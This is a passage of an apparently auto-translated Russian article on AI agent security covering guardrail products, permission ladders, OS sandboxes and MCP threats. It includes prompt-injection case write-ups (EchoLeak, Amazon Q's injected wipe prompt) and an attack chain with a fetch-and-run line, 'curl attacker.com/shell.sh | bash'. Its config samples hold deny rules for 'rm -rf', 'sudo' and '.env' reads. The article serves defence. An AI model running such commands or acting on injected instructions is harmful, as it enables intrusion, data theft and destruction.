Engineering the Agentic Stack · Часть 4

Безопасность ИИ-агентов: разрешения, сэндбоксы и угрозы MCP

Автоматический перевод Эта статья была автоматически переведена с оригинальной английской версии.

Безопасность агента начинается после того, как модель предлагает действие, и до того, как машина его выполняет. Вопрос в том, какой контроль получает последнее слово, когда действие затрагивает credentials, файлы, сети или внешний побочный эффект.

Программу, которая удерживает этот зазор, называют харнессом — это управляющий цикл, который собирает каждый промпт, решает, какие предложенные tool calls действительно запускать, и передаёт результаты обратно. Большинство описанных ниже контролей находятся именно там, потому что момент перед выполнением — последняя точка, где проверка остаётся дешёвой. Остальные расположены по обе стороны от неё. После запуска команды остаются только окружающий её сэндбокс, переданные ей credentials и возможность отменить последствия постфактум — причём некоторые инциденты из этой статьи вообще не дошли до модели.

Безопасность ИИ-агентов шире, чем безопасность LLM. Ранние продукты для гардрейлов проверяли вход и выход одного вызова модели. Они могли фильтровать токсичный текст, редактировать персональные данные, блокировать джейлбрейки и отклонять ответы не по теме. Такая граница была полезна, пока модель могла возвращать только текст.

Tool loops добавили файловые системы, shell, серверы Model Context Protocol (MCP) и credentials. Это расширило threat model: от небезопасного текста — до небезопасных действий. Шесть рассмотренных ниже инцидентов нельзя было предотвратить одним лишь улучшенным фильтром вывода: была скомпрометирована окружающая система.

Когда агент может читать репозиторий, вызывать tool или перемещать данные третьей стороне, инженерам нужно сопоставить каждое предлагаемое действие с контролем, который действительно способен его остановить. Ниже мы строим такую карту: permissions, hooks, сэндбоксы, credentials и human review относятся к разным границам.

Краткий чеклист контролей см. в разделе Чеклист безопасности ИИ-агента.

Стек безопасности ИИ-агента

Практический стек 2026 года — это не один гардрейл, а набор границ вокруг цикла.

Два слова определяют последний столбец таблицы. Харнесс — описанная выше управляющая программа. Рантайм — инфраструктура, на которой работает эта программа: сэндбокс, лог сессии, хранилище чекпоинтов и трейсы, которые живут дольше отдельного worker-процесса.

СлойЧто он контролируетПример сбоя, который он обнаруживаетГде находится
Контентные фильтрыНебезопасный входной и выходной текстТоксичный вывод, утечка PII, нарушения политикиХарнесс
Лестница разрешенийКакие tools, пути, APIs и scopes доступны агентуПопытка суммаризатора писать в production-системыХарнесс
Pre-tool policy hookНужно ли запускать именно это действие сейчасShell-команда, собранная из недоверенного retrieval-контентаХарнесс
СэндбоксК чему tool может обращаться на уровне ОС и сетиЭкcфильтрация файлов, компрометация dependency, injection командРантайм
Human gateНеобратимые действия или действия с высоким эффектомОтправка email, перевод денег, деплой в productionХарнесс
MCP и ограничение токеновДля какого сервера и audience действителен credentialПовторное использование токена на непредназначенном tool serverРантайм
Audit traceЧто произошло, кто одобрил действие и почемуРасследование инцидента после долгого автономного запускаРантайм

Контентные фильтры отвечают на вопрос, сказал ли модель что-то небезопасное. Безопасность агента отвечает на вопрос, разрешено ли системе сделать следующий шаг.

Строки харнесса принимают решения; строки рантайма заранее принудительно задают грубые ограничения и записывают произошедшее. Сэндбокс продолжает защищать систему, даже если харнесс не предвидел вызов, — именно поэтому его стоит сохранять, даже когда правила permissions кажутся полными. Но сэндбокс не может определить, было ли разрешённое действие неправильным. Это решение принимает харнесс.

Смотрите на столбец как на место действия контроля, а не как на указание того, кто им управляет: managed content filter может быть сервисом вендора, но вызывает его именно харнесс.

Managed content filters покрывают текстовый слой. Остальные контроли должны находиться в application policy, identity и infrastructure.


Чем безопасность ИИ-агентов отличается от безопасности LLM

Bharani Subramaniam и Martin Fowler сформулировали эту рамку в начале 2025 года в статье Emerging Patterns in Building GenAI Products. Их наблюдение было узким и прямым:

“В традиционных системах мы могли оценивать корректность главным образом с помощью тестирования… В системах на базе LLM мы сталкиваемся с системой, которая больше не ведёт себя детерминированно.”

Эвалуация вывода отвечает на вопрос, соответствует ли ответ модели заданной рубрике. Threat model агента должна также охватывать tool calls, shell-команды, запись файлов, credentials и сетевые запросы. Эти действия пересекают границы, которые не может обеспечить grader вывода. Второй слой — это харнесс: не фильтр слов модели, а проверки, обёрнутые вокруг цикла, превращающего эти слова в действия. Всё последующее в этой статье — компоненты этой обёртки.

Гардрейлы LLM оборачивают вызов модели; харнесс оборачивает циклГардрейлы LLM оборачивают вызов модели; харнесс оборачивает цикл

Simon Willison в июне 2025 года сформулировал характерный для агентов риск — lethal trifecta:

“Смертоносная триада возможностей такова: доступ к вашим приватным данным; exposure недоверенному контенту; способность внешне взаимодействовать так, чтобы это можно было использовать для кражи ваших данных. Если агент объединяет эти три возможности, атакующий легко может заставить его получить ваши приватные данные и отправить их атакующему.”

Многие полезные агенты объединяют эти возможности: доступ к inbox, web retrieval и messaging tool; либо доступ к репозиторию, чтение issues и запись pull requests. Контентный гардрейл спрашивает, сгенерировал ли модель небезопасный текст. Trifecta спрашивает, может ли недоверенный input направить систему к раскрытию данных через разрешённое действие.

Смертоносная триадаСмертоносная триада

Структурный вариант того же аргумента изложен в препринте Joel Fokou Parallax (arXiv 2604.12986, отправлен 14 апреля 2026 года, не прошёл peer review). Основной тезис:

“Система, которая рассуждает о действиях, должна быть структурно неспособна их выполнять, а система, которая выполняет действия, должна быть структурно неспособна рассуждать о них; между ними должен находиться независимый неизменяемый валидатор.”

Необязательно принимать численные результаты оценки из статьи, чтобы рассмотреть её структурную идею. Несколько современных харнессов реализуют части того же разделения:

  • хуки Claude Code PreToolUse
  • executor Codex CLI с OS-сэндбоксом (в Linux — bubblewrap плюс фильтрация системных вызовов через seccomp)
  • Anthropic Managed Agents, которые хранят credentials в vault, недоступном агенту
  • audience-bound tokens MCP на базе RFC 8707

Эти системы удерживают суждение модели за детерминированной границей выполнения. Конкретные контроли различаются, но компонент, запускающий команду, не полагается на мнение модели о безопасности этой команды.

Есть и дополнительная дисциплина, наиболее чётко сформулированная Alessandro Pignati в январе 2026 года: Principle of Least Agency. Least Privilege спрашивает: к чему может получить доступ эта identity? Least Agency спрашивает: что этому агенту разрешено решать? Privilege ограничивает credentials; agency ограничивает alcance плана, даже если credentials валидны. Excessive Agency — отдельный пункт Top 10 для LLM-приложений, опубликованного OWASP, Open Worldwide Application Security Project. Отдельный agentic-список, который рассматривается далее, разделяет тот же сбой между злоупотреблением tools и злоупотреблением privileges. Least Agency — это инженерная дисциплина, предотвращающая оба сценария. Агенту, который умеет суммаризировать ваш inbox, вероятно, не нужны права на commit в monorepo. Мы продолжаем находить конфигурации, где они всё-таки есть.


Что покрывают гардрейлы LLM

!!! byte «Byte говорит»

Я запустил агента за контентным фильтром и назвал его безопасным. Фильтр читал то, что говорил агент. Ему было всё равно, какой файл агент записал за пределами workspace.

Гардрейлы LLM выполняют важную работу вокруг вызова модели. Они проверяют input, retrieved text и output, а затем блокируют, редактируют, исправляют или помечают контент, не соответствующий настроенному правилу. Приведённые ниже продукты различаются по способу деплоя и покрытию. Content check — это отдельная процедура от authorization check на границе tool или MCP server; некоторые продукты также предлагают runtime policy features, которые требуют собственной конфигурации и эвалуации.

NVIDIA NeMo Guardrails

Самый opinionated вариант: orchestration framework вокруг пяти типов rails (input, dialog, retrieval, execution, output) с собственным DSL — Colang, языком, похожим на Python, для dialog flows, user intents и bot messages. Базовые сценарии можно задавать через Python + YAML, но более сложная логика диалогов пишется на Colang — отсюда и «opinionated». Документация: docs.nvidia.com/nemo/guardrails.

Ниже приведена иллюстративная форма API; для неё нужны пакет и настроенный каталог ./config.

from nemoguardrails import LLMRails, RailsConfig

config = RailsConfig.from_path("./config")
rails = LLMRails(config)
response = rails.generate(
    messages=[{"role": "user", "content": "Hello"}]
)

В репозитории NeMo прямо описана его threat model: «распространённые уязвимости LLM, такие как джейлбрейки и промпт-инъекции». Там же явно обозначена область действия: «встроенные гардрейлы могут подходить или не подходить для конкретного production use case… разработчикам следует работать с внутренней командой приложения, чтобы убедиться, что гардрейлы соответствуют требованиям». Показанный здесь путь content screening отслеживает то, что говорит модель. В актуальной документации NeMo также описаны execution rails, custom actions и tool-call inspection; это настраиваемые runtime-контроли, но не доказательство того, что deployed tool или MCP server аутентифицировал и авторизовал вызов. За эту границу по-прежнему отвечает приложение.

Meta Llama Guard 4

Чистый контентный классификатор на 12B параметров, полученный из Llama-4-Scout и выровненный по таксономии угроз MLCommons (13 категорий вреда плюс злоупотребление code interpreter, согласно model card). Meta необычно откровенно описывает ограничения:

“Для полной оценки некоторых категорий угроз могут потребоваться актуальные фактические знания… Наконец, как LLM, Llama Guard 4 может быть уязвима к adversarial attacks или prompt injection attacks, которые обходят или изменяют предполагаемый сценарий использования: см. Llama Prompt Guard 2 для обнаружения prompt attacks.”

Meta поставляет отдельный продукт для защиты своего контентного классификатора от prompt injection. Если эта фраза выглядит как структурное признание ограничения, так и есть.

Guardrails AI

Реестр валидаторов. Вы комбинируете более 60 Hub-валидаторов (PII через Presidio, JailbreakDetect, CompetitorCheck, проверки provenance) с fail-modes exception | fix | fix_reask | filter | refrain | reask | noop | custom (guardrailsai.com). Обратите внимание: exception, а не raise — нераспознанная строка on_fail не вызывает ошибку, а записывает warning и использует default, поэтому опечатка здесь незаметно отключает validator. Единой threat model нет; покрытие равно объединению установленных валидаторов. Вы получаете защиту от всего, для чего у вас есть validator, и не получаете её ни от чего другого.

Lakera Guard

Устоявшийся SaaS API, обученный на десятках миллионов образцов атак, собранных из Gandalf. Он обещает проверять input и output на «prompt attacks… и data leakage». Отдельный продукт Lakera AI Agent Security также описывает policy и runtime enforcement для того, к чему агенты могут получать доступ, что вызывать и какие действия выполнять. Это другая продуктовая поверхность, не та content-screening процедура, которая обсуждается здесь. Бесплатный тариф — 10 000 requests/month; enterprise-цены не раскрываются.

AWS Bedrock Guardrails

Корпоративный вариант по умолчанию, если вы уже используете Bedrock. ApplyGuardrail работает с любой model, не только с Bedrock:

# No-run: illustrative AWS request; requires boto3, AWS credentials, and a real guardrail identifier.
import boto3

brt = boto3.client("bedrock-runtime")
resp = brt.apply_guardrail(
    guardrailIdentifier="gr-xxxxxxxxxxxx",
    guardrailVersion="2",
    source="INPUT",
    content=[{"text": {"text": "user question",
                        "qualifiers": ["guard_content"]}}],
)

Опубликованные цены: 0.15per1,000textunitsforcontentfiltersordeniedtopics,0.15 per 1,000 text units for content filters or denied topics, 0.10 за PII filters или contextual grounding. Text unit — до 1 000 characters.

Azure AI Content Safety

Поставляется с Prompt Shields как unified endpoint, который «обнаруживает и блокирует adversarial user input attacks… direct и indirect threats». Azure также откровенно сообщает: «Azure AI Content Safety нельзя использовать для обнаружения незаконных изображений сексуальной эксплуатации детей», а качество работы с multilingual content ограничено восемью evaluated languages.

OpenAI Moderation и OpenAI Guardrails

omni-moderation-latest — бесплатный multimodal baseline. Отдельно, openai-guardrails-python (документация: guardrails.openai.com) — это framework-ответ OpenAI: pipeline из трёх стадий (pre-flight, input, output) с Jailbreak Detection, Hallucination Detection через FileSearch, NSFW, PII через Presidio и LLM-as-judge. GuardrailAgent подключается к Agents SDK.

# No-run: illustrative OpenAI Guardrails API shape; requires the package and guardrail_config.json.
from guardrails import GuardrailsOpenAI, GuardrailTripwireTriggered

client = GuardrailsOpenAI(config="guardrail_config.json")
try:
    resp = client.responses.create(model="<your-model-id>", input="...")
except GuardrailTripwireTriggered as e:
    print(f"blocked: {e}")

Общая граница

Для всех семи продуктов применимы два наблюдения.

Во-первых, опубликованных данных о latency и throughput мало. Bedrock, Azure и Lakera публикуют цены, но не гарантируют worst-case latency. Meta также не публикует гарантий для hosted endpoint Llama Guard. NVIDIA поставляет NeMo Guardrails как ПО, которое вы хостите сами, поэтому latency зависит от вашей model и infrastructure. Измеряйте каждую synchronous check на critical path, а не выводите её стоимость из pricing продукта.

Во-вторых, приведённый здесь вывод ограничен content-focused конфигурациями, рассмотренными в этом разделе: Llama Guard 4, Guardrails AI, content-screening path Lakera Guard, Bedrock Guardrails, Azure AI Content Safety и OpenAI moderation/guardrails. Сами по себе эти конфигурации не обеспечивают tool-call authorization, MCP authentication, контроль многошаговой эксфильтрации, защиту от agent-goal hijack через configuration files или контроль code execution до вызова модели. Это не универсальное отрицательное утверждение о guardrail-продуктах: NeMo документирует execution rails и tool-call inspection, а Lakera описывает runtime enforcement в отдельном продукте AI Agent Security. Content filtering по-прежнему находится на другой границе, чем authorization, которое решает, может ли конкретная identity, scope, tool call или server request продолжить выполнение. Остальная часть статьи посвящена этим runtime-границам.


Угрозы безопасности ИИ-агентов: шесть инцидентов и OWASP ASI Top 10

Разрыв между фильтрацией текста и защитой выполнения перестал быть академическим в середине 2025 года. Шесть инцидентов ниже затронули retrieval, конфигурацию, credentials, установку пакетов или выполнение в CI. Контентный классификатор всё ещё может обнаружить подозрительную строку, но контроли, которые напрямую блокируют эти пути, находятся на границах tools, identity, сэндбокса и supply chain.

EchoLeak — CVE-2025-32711, CVSS 9.3

Об инциденте Aim Labs, исследовательское подразделение Aim Security, сообщила в июне 2025 года в отношении Microsoft 365 Copilot. Техническое описание теперь размещено на сайте Cato Networks, которая приобрела эту команду, под авторством бывшего руководителя Aim Labs Itay Ravia (описание). Специально сформированное email-сообщение, оформленное как инструкции человеку-получателю, прошло мимо XPIA (встроенного фильтра Microsoft, который ищет prompt-injection attacks во входных данных Copilot). Затем оно попало в retrieval layer Copilot — часть системы, которая ищет в ваших документах контекст для ответов. Исследователи назвали этот приём RAG-spraying: атакующий размещает одну и ту же вредоносную инструкцию во множестве индексированных документов, поэтому retrieval почти наверняка подтянет хотя бы один из них в context модели. Оказавшись внутри, Copilot послушно встроил самые чувствительные данные сессии в Markdown-ссылку на изображение в домене, контролируемом атакующим. Teams preview API, работающий в домене, которому уже доверяли собственные browser policies Microsoft, автоматически запросил этот image URL и тем самым передал данные атакующему. Ноль кликов. Aim Labs назвала этот класс атак «LLM Scope Violation»: модель пересекает границу, которую не должна была пересекать, используя только операции, каждая из которых по отдельности считалась системой легитимной.

Каждый шаг по отдельности выглядел легитимно. Email был адресован человеку. Retrieval получил документ, который должен был получить. Markdown-ссылка отрендерилась так, как обычно рендерятся Markdown-ссылки. Запрос изображения пришёл в allowlisted domain. XPIA было нечего помечать, потому что по отдельности ни один шаг не выглядел подозрительным. Система была скомпрометирована. Модель — нет.

Amazon Q Developer VS Code v1.84.0 — июль 2025 года

AWS поставила скомпрометированный build после того, как атакующий закоммитил вредоносный system-prompt file через слишком широко scoped CodeBuild GitHub token (advisory). Инъектированный промпт велел агенту «очистить систему почти до factory state и удалить filesystem- и cloud-ресурсы». Вредоносный код распространялся с v1.84.0, но не выполнился из-за syntax error. AWS отозвала credentials, удалила код и выпустила v1.85.0. Payload не сработал из-за syntax error, а не потому, что его заблокировал security control.

Azure MCP Server — CVE-2026-32211, Microsoft/CNA CVSS 9.1; NVD 7.5

Самый наглядный пример неправильного уровня контроля. В записи NVD указан базовый балл NVD CVSS 3.1 7.5 (HIGH) и оценка Microsoft CNA 9.1 (CRITICAL), со ссылкой на vendor record Microsoft о недостающей authentication. Эта запись подтверждает необходимость проверять authentication на границе deployed server. Она не описывает defaults каждого MCP SDK или implementation path в каждом затронутом release. Content filter вообще не вызывается, потому что модель здесь не участвует. Атакующий обращается напрямую к tool.

Claude Code CVE-2025-59536 — CVSS 8.7

Каноническая уязвимость доверия к agent configuration. Aviv Donenfeld и Oded Vanunu из Check Point сообщили, что «конфигурации, определённые репозиторием через файлы .mcp.json и .claude/settings.json, можно было использовать для обхода явного одобрения пользователя… установив опцию enableAllProjectMcpServers в true».

Разберём цепочку атаки по шагам:

  1. Жертва клонирует недоверенный repo.
  2. SessionStart hook выполняет curl attacker.com/shell.sh | bash до появления trust dialog Claude Code.
  3. .mcp.json автоматически одобряет недоверенные MCP servers.
  4. ANTHROPIC_BASE_URL (сопутствующий CVE-2026-21852, CVSS 5.3) незаметно перенаправляет все Claude API calls, включая Bearer tokens, на host, контролируемый атакующим.

Исправлено в Claude Code 1.0.111 и 2.0.65 соответственно (advisory GHSA-ph6w-f82w-28w6). Формулировка Check Point, которую стоит запомнить: «традиционные prompt injection defenses… не обеспечивают никакой защиты». Код атакующего выполняется на вашей машине (в терминологии специалистов по безопасности — remote code execution, или RCE) ещё до вызова модели.

Axios 1.14.1 — 31 марта 2026 года

Maintainer jasonsaayman написал в post-mortem: «две вредоносные версии axios (1.14.1 и 0.30.4) были опубликованы в npm registry через мой скомпрометированный аккаунт. Обе версии внедряли dependency под названием plain-crypto-js@4.2.1, которая устанавливала remote access trojan на macOS, Windows и Linux». Remote access trojan — это malware, который незаметно открывает backdoor: он позволяет атакующему удалённо выполнять команды, читать файлы и отслеживать ввод. Вредоносные версии оставались доступными около трёх часов, а группа Google Threat Intelligence связывает компрометацию с UNC1069 (Sapphire Sleet). Каждый coding agent, который в этот период запускал npm install, подтягивал backdoor. Модель не участвовала. В этом классе инцидентов сбой связан с supply-chain execution, а не с поведением модели.

Захват tags Trivy Actions — GHSA-69fq-xp46-6x23, 19 марта 2026 года

Атакующий переписал 76 из 77 version tags в aquasecurity/trivy-action — репозитории, который вызывают многие CI pipelines для security scanning, — так, чтобы tags указывали на malware, крадущий credentials, вместо настоящего кода Trivy. Все 7 tags в setup-trivy были заменены тем же способом, а binary v0.69.4 выгружал память процесса Runner.Worker через /proc/<pid>/mem и просматривал более пятидесяти путей файловой системы в поисках SSH keys, cloud credentials, Kubernetes tokens и файлов .env прямо из GitHub Actions runners (advisory Aqua). Любой workflow, который фиксировал action по tag — а таких почти все, — подтягивал payload при следующем запуске, потому что Git tag — это перемещаемый указатель, а downstream ничего повторно не проверяет. Coding agent расширяет blast radius, но не создаёт его: агент записывает reference на tag в workflow, доверяя tag ровно так же, как доверял бы human reviewer, а CI затем выполняет всё, на что указывает этот tag.

OWASP ASI Top 10, редакция 2026 года

OWASP Agentic Security Initiative (ASI) — рабочая группа, сфокусированная именно на агентах под управлением LLM. 9 декабря 2025 года она опубликовала Agentic Security Initiative Top 10 for 2026 — ранжированный каталог десяти категорий уязвимостей, отличающих agent systems от классических LLM-приложений.

Рейтинг основан на том, где концентрировались реальные инциденты. Используйте его как чеклист того, что должна охватывать threat model агента:

OWASP ASI Top 10 for 2026OWASP ASI Top 10 for 2026

Content filters могут участвовать в защите от ASI01 (Goal Hijack) и ASI06 (Memory Poisoning). Для остальных категорий нужны контроли в identity, tool policy, memory, orchestration, monitoring или supply-chain management. EchoLeak соответствует ASI01. Amazon Q — ASI04 (Supply Chain) и ASI02 (Tool Misuse). Azure MCP — ASI03 (Identity). Claude Code CVE-2025-59536 охватывает ASI05 (Code Execution), ASI04 и ASI03. Axios и Trivy относятся к ASI04. Эта карта показывает, почему threat model должна выходить за пределы model input и output.


Permission — это инфраструктура, а не промпт

Здесь гардрейлы перестают быть продуктом и становятся одной из подсистем харнесса. Три системы, рассмотренные в апреле 2026 года (OpenAI Agents SDK, Codex CLI и Claude Code), показывают, как на практике выглядит production policy surface. Все три применяют permissions в коде. Ни одна не полагается на осторожность модели.

OpenAI Agents SDK

SDK разделяет harness и compute. Hosted MCP tools принимают require_approval — либо простые строки "always" / "never", либо filter object с ключами этих двух policies и именами tools, которые покрывает каждая из них, — плюс callback on_approval_request, срабатывающий для каждого tool, оставленного под "always", и возвращающий {"approve": bool} с optional reason. Fine-grained tool filtering (tool_filter) доступна в local server variants (MCPServerStdio, MCPServerStreamableHttp, MCPServerSse), если она вам нужна:

# No-run: illustrative Agents SDK shape; requires openai-agents, a configured hosted MCP server, and credentials.
from agents import Agent, HostedMCPTool

def approve(request):
    # Only tools under the "always" policy reach this callback.
    if request.data.name == "delete_repo":
        return {"approve": False, "reason": "escalate to a human reviewer"}
    return {"approve": True}

agent = Agent(
    name="Ops",
    tools=[HostedMCPTool(
        tool_config={
            "type": "mcp",
            "server_label": "github",
            "server_url": "https://mcp.example.com",
            "require_approval": {
                "always": {"tool_names": ["delete_repo"]},
                "never": {"tool_names": ["list_issues"]},
            },
        },
        on_approval_request=approve,
    )],
)

Approval callback — это код. Per-tool approval policy — это код. Этот файл можно прочитать, протестировать и сравнить через diff. Ничего из этого нельзя сделать с system prompt, который говорит: «пожалуйста, будьте осторожны с production».

Codex CLI и managed policy layer

Coding harness OpenAI поддерживает managed-файл requirements.toml, который IT-отделы могут распространять через device management. В Unix-системах system file находится в /etc/codex/requirements.toml. Он действует как слой жёстких ограничений, поэтому project-level settings не могут переопределить его rules:

# /etc/codex/requirements.toml
[rules]
prefix_rules = [
    { pattern = [{ token = "rm" }, { any_of = ["-rf", "-fr"] }], decision = "forbidden", justification = "Recursive force-delete prohibited by IT policy" },
]

prefix_rules.decision принимает только "prompt" или "forbidden", но никогда "allow". Проект не может выдать себе permission, запрещённый managed layer. MCP allowlists используют одновременно name и identity, например command string или URL. Поэтому проект не может объявить себя github-mcp и указать server атакующего. Поддерживаемые требования зависят от client и version. В актуальной документации явно указано, что для managed permission-profile keys нужен Codex 0.138.0 или новее, поэтому перед rollout проверяйте любую requirements policy на всех client versions во fleet.

Permission ladder Claude Code

Claude Code не публикует единую линейную последовательность из шести gate для каждого tool call. Его permission rules оцениваются deny → ask → allow; первое совпавшее правило определяет результат. PreToolUse hook запускается до permission prompt. Hook может заблокировать call, но результат hook не обходит matching deny или ask rule. Active permission mode обрабатывает calls, которые rules не разрешили и не запретили. Claude Agent SDK имеет отдельный callback canUseTool для unresolved requests. Это SDK control, а не Claude Code CLI gate.

Порядок оценки permissions в Claude CodeПорядок оценки permissions в Claude Code

Modes переключаются циклически через default → acceptEdits → plan с Shift+Tab. auto, bypassPermissions и dontAsk активируются при конкретных условиях входа, которые enterprise-managed policy layer может заблокировать. Это больше, чем проверка конфигурационного файла. Это state machine с правилами precedence, опубликованная так, чтобы security team могла рассуждать о её поведении.

Три blast radius в одном файле

Вот как выглядит permission config в стиле Codex с default и двумя именованными profiles:

# ~/.codex/config.toml
approval_policy = "on-request"
sandbox_mode = "workspace-write"

[profiles.ci]
approval_policy = "never"
sandbox_mode = "read-only"

[profiles.release]
approval_policy = "untrusted"
sandbox_mode = "danger-full-access"

[mcp_servers.github]
command = "gh-mcp"
args = ["--readonly"]

Два ключа выполняют основную работу, и они независимы. approval_policy определяет, когда спрашивать человека. on-request позволяет агенту эскалировать запрос, когда он упирается в ограничение. never вообще ничего не спрашивает. untrusted останавливается на каждой команде, которой нет в trusted list. sandbox_mode определяет, к чему команда может обращаться при запуске.

CI никогда никого не прерывает и не может записывать данные. Release получает доступ ко всей машине, но почти каждое действие сначала должен одобрить человек. Release profile платит за такой охват: danger-full-access отключает sandbox, поэтому untrusted approval — единственный оставшийся контроль. Всё, что не входит в trusted list, либо проходит через human approval, либо не запускается. Теперь этот trusted list — вся security boundary.

Default и CI profiles сохраняют kernel под ними: Seatbelt в macOS, bubblewrap плюс seccomp в Linux и restricted tokens в Windows. В любом случае мнение модели в решение не входит.

Enforcement сэндбокса — вопрос ОС

Фактическую работу здесь выполняет kernel. Каждая ОС предоставляет свой набор инструментов, и два CLI не всегда выбирают один и тот же компонент:

PlatformClaude CodeCodex CLI
macOSSeatbelt через sandbox-exec с профилем SBPL (Seatbelt Profile Language)Seatbelt через sandbox-exec -p
Linuxbubblewrap + socat network proxybubblewrap + seccomp (legacy Landlock через use_legacy_landlock)
WindowsТребуется WSL2Native restricted tokens + workspace ACLs + capability SIDs

Они используют один подход там, где ОС предоставляет один вариант (Seatbelt, bubblewrap), и расходятся там, где вариантов несколько. Claude Code пропускает Windows и отправляет вас в WSL2. Codex поставляется с native Windows sandbox. В обоих случаях enforcement происходит в kernel, а не в model.

Linux path Codex накладывает вокруг команды три kernel-level lock. PR_SET_NO_NEW_PRIVS не позволяет процессу получить дополнительные privileges, даже если он попытается. Фильтр seccomp заставляет kernel полностью отклонять целые классы system calls. В этой конфигурации это включает network sockets, кроме локальных Unix sockets. Новый изолированный /proc скрывает остальную часть машины.

Codex также защищает собственный binary при старте на каждой Unix-платформе. Он устанавливает RLIMIT_CORE=0, чтобы подавить crash dumps, и запрещает attach от debugger. Это другая граница, не sandbox.

Windows работает в двух modes. unelevated использует process с restricted token, который теряет privileges, но продолжает выполняться от имени пользователя. elevated использует отдельного sandbox user, изолированного правилами firewall.

Когда network access отключён, Codex размещает stub-файлы .bat и .cmd для ssh и scp в каталоге в начале PATH. Эти commands завершаются с ненулевым кодом вместо обращения к настоящим binaries. Codex также направляет HTTP_PROXY, HTTPS_PROXY, ALL_PROXY и Git proxy variables на неиспользуемый локальный port. У curl, wget и git после этого нет точки назначения для traffic.

Варианты изоляции помимо Claude Code и Codex

Если вы создаёте собственного агента, «sandbox» оказывается зонтичным термином. Open-source варианты лежат на спектре: от лёгких namespace wrappers на одном конце до полноценных microVM на другом. Выбор зависит от того, насколько вы доверяете коду, выполняемому внутри.

Лёгкая изоляция — тот же kernel, меньше privileges:

  • bubblewrap — wrapper над namespaces и seccomp. Тот же tool, который использует Flatpak, и тот же tool, к которому Claude Code обращается в Linux. Быстро, дёшево, подходит для trusted tooling.
  • Standard Docker / OCI containers — изоляция через namespaces поверх общего host kernel. Это не sandbox для недоверенного кода; собственная документация gVisor подчёркивает: «containers are not a sandbox». Разумная отправная точка в сочетании с seccomp и AppArmor, но не более того.

Изоляция на уровне application-kernel — агент общается с fake kernel:

  • gVisor — user-space kernel от Google. Контейнер считает, что работает в Linux, а реализация kernel на Go перехватывает system calls. Это уменьшает прямое воздействие host kernel без guest VM, но требует компромиссов по совместимости и производительности.

Полная VM-изоляция — отдельный kernel на каждый sandbox:

  • Firecracker — технология microVM от AWS. Каждый sandbox получает собственный Linux kernel внутри KVM. Escape из kernel одного sandbox не затрагивает host или соседние sandboxes.
  • Kata Containers — container UX и VM-grade isolation. Такой вариант используют Kubernetes-кластеры, когда им нужно запускать недоверенный код.

Платформы — что можно арендовать вместо самостоятельной сборки:

  • E2B превращает Firecracker в hosted sandbox API.
  • OpenSandbox от Alibaba позволяет выбрать runtime — gVisor, Kata или Firecracker — через один SDK.
  • Agent Governance Toolkit от Microsoft (MIT-licensed, апрель 2026 года) добавляет поверх этого runtime policy engine. Enforcement занимает меньше миллисекунды и напрямую ориентирован на OWASP ASI Top 10.

Выбирайте уровень изоляции с учётом уровня доверия к коду, tenant boundary, network access, host data и стоимости восстановления. Namespace- и seccomp-контроли подходят для trusted internal tools. LLM-generated code и недоверенные packages требуют более сильной границы — например, gVisor, Kata или microVM, — а затем тестирования escape- и exfiltration-путей в собственной threat model.

Claude Code и Codex выбрали варианты из того же набора, что и все остальные. Они просто по-разному их обернули.


PreToolUse hooks как программируемая policy

Modes и allowlists покрывают простые случаи: «разрешить агенту редактировать файлы, но не запускать bash», «запрещать всё, что похоже на rm -rf». Они не справляются, когда policy требует реальной логики. Вы хотите блокировать git push только если branch — main. Вы хотите запрещать любой Edit, затрагивающий файл, совпадающий с secret regex. Вы хотите ограничить частоту shell calls на сессию или отправлять каждый tool invocation в центральный audit log (SIEM — security information and event management system, которую уже отслеживает security team).

Ничего из этого не помещается в static allowlist. Для этого и нужны hooks — shell commands, которые Claude Code запускает в определённых точках lifecycle tool call, с возможностью проверить pending call и вернуть structured allow/deny. Claude Code предоставляет около тридцати lifecycle events (полный список — в документации); один из них меняет поведение всех остальных: PreToolUse hook, возвращающий permissionDecision: "deny", блокирует tool независимо от mode.

Вот форма settings:

{
    "permissions": {
        "defaultMode": "acceptEdits",
        "deny": ["Bash(rm -rf:*)", "Bash(sudo:*)", "Read(.env*)"]
    },
    "hooks": {
        "PreToolUse": [
            {
                "matcher": "Bash",
                "hooks": [
                    {
                        "type": "command",
                        "command": ".claude/hooks/pre-bash-firewall.sh"
                    }
                ]
            },
            {
                "matcher": "Edit|Write",
                "hooks": [
                    {
                        "type": "command",
                        "command": ".claude/hooks/protect-paths.sh"
                    }
                ]
            }
        ]
    }
}

Hook может быть пятистрочным shell script или полноценным policy engine. Важен формат результата:

{
    "hookSpecificOutput": {
        "hookEventName": "PreToolUse",
        "permissionDecision": "deny",
        "permissionDecisionReason": "writes outside workspace prohibited"
    }
}

Модель получает structured deny. Reasoning loop из части 1 обрабатывает его как любое другое tool observation: deny становится context, агент перепланирует действия, цикл продолжается. В этом и состоит смысл фразы «permission — это инфраструктура». Deny подключён к тому же механизму, который обрабатывает 500 от HTTP tool. Это не отдельный security workflow, который нужно пристёгивать сбоку.

Распространённый anti-pattern — написать system prompt: «не удаляй файлы без явного подтверждения пользователя», выпустить агента и считать эту инструкцию контролем. Injected prompt или tool result, контролируемый атакующим, могут обойти эту инструкцию. Модель — не policy engine. Она может сопоставить как написанный вами pattern, так и pattern, переданный атакующим.


Human approval работает только как escalation

!!! byte «Byte говорит»

Я запускал сессию с approval prompt для каждой команды. К двадцатому prompt я уже нажимал approve, не читая. Gate, который срабатывает всегда, превращается в кнопку.

Слой content filter оборачивает вызов модели и отслеживает, что она говорит. Permission ladders работают до tool и отслеживают, что агент пытается сделать. Третий слой, который ловит то, что пропустили первые два, — человек. При правильной реализации human-in-the-loop review (HITL) — это канал escalation. При неправильной — dialog box, который одобряют в 93% случаев.

LangGraph предоставляет primitive pause/resume. HumanLayer упаковывает approval channel, а usage data Anthropic показывает, почему нужно измерять количество и качество escalations.

Primitive LangGraph

Связка interrupt() + Command(resume=value) в LangGraph приостанавливает graph, сохраняет его state через настроенный checkpointer и возобновляет выполнение со значением, переданным человеком. Безопасность resume зависит от одной детали в документации:

“Когда выполнение возобновляется (после передачи запрошенного input), runtime перезапускает весь node с начала — он не продолжает выполнение с точной строки, на которой был вызван interrupt.”

Из поведения с перезапуском следуют три ограничения:

1. Side effects до interrupt() должны быть idempotent. После ответа человека весь node запускается заново, а не с строки interrupt(). Поэтому если node отправляет email, ставит выполнение на паузу для approval, а затем возвращает «sent», при resume email будет отправлен второй раз. Исправление: размещайте side effects после interrupt либо делайте их безопасными для повторения (dedupe keys, upsert вместо insert, cache по message ID).

